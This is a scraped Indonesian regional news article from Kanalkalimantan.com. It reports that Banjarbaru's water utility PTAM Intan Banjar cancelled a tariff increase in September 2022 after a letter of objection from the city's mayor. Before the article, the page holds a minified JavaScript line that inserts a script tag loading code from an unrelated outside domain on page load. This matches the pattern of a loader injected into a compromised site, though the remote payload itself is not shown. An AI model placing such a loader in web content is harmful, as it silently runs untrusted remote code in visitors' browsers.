(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Kebijakan tarif baru air bersih PTAM Intan Banjar yang sempat naik telah resmi dicabut. Hal itu menyusul dilayangkannya “surat sakti” bentuk penolakan keras Wali Kota Banjarbaru, Aditya Mufti Ariffin, yang mewakili suara mayoritas masyarakat yang terbebani atas kebijakan tersebut.
Rapat Umum Pemegang Saham (RUPS) Luar Biasa yang diselenggarakan PTAM Intan Banjarbaru pada Rabu (28/9/2022) siang, menyepakati bahwa tarif beban air bersih dikembalikan seperti perhitungan semula.
RUPS Luar Biasa ini dipicu atas permintaan Wali Kota Banjarbaru yang menekan agar tarif beban air bersih tetap dikembalikan ke sebelumnya. Orang nomor satu di Banjarbaru ini bahkan mengirimkan surat khusus bernomor 180/Setda/2022 yang berisi tentang keluhan dari masyarakat.
Baca juga : SAH. PTAM Intan Banjar Kembalikan Tarif Beban Seperti Dulu
“Alhamdulillah, berdasarkan hasil RUPS Luar Biasa hari ini, PTAM Intan Banjar akhirnya mencabut kebijakan kenaikan tarif beban air minum. Tentu kabar ini akan disambut baik oleh masyarakat kita,” kata Aditya Mufti Ariffin.
Menurut Aditya, sejak diberlakukan tarif baru banyak masyarakat yang mengeluh terbebani. Sektor ekonomi masyarakat yang belum pulih total pasca gelombang pandemi Covid-19, katanya, menjadi faktor utama yang perlu dipertimbangkan oleh manajemen PTAM Intan Banjar.
“Saya memahami bahwa PTAM Intan Banjar sedang menyesuasikan beban biayanya sendiri. Namun, tentu solusi dari masalah itu jangan sampai merugikan masyarakat kita. Lebih baik dicari jalan keluarnya bersama-sama dengan melibatkan seluruh pihak yang berwenang atas hal tersebut,” lanjutnya.
Baca juga : Bidang Sumber Daya Air Dinas PUPR Kalsel Rehabilitasi DIR Polder Tambak Anyar
Atas dicabutnya kebijakan ihwal kenaikan tarif PTAM Intan Banjar, Wali Kota Banjarbaru menyampaikan rasa terima kasih kepada masyarakat yang telah mendukungnya. Dirinya juga berpesan agar pemakaian air bersih ke depannya dapat lebih disesuaikan dengan kebutuhan masing-masing.
“Saya atas nama pribadi juga berterima kasih kepada PTAM Intan Banjar yang telah mendengarkan aspirasi masyarakat kita dengan menganulir kebijakan ini,” bebernya.
“Insyaallah, apa yang menjadi hak dari masyarakat akan terus kita perjuangkan sebagaimana mestinya. Komitmen Pemko Banjarbaru adalah agar masyarakat kita sejahtera yang selama ini merupakan wujud dari visi misi kami Banjarbaru, maju, agamis dan sejahtera,” tuntasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.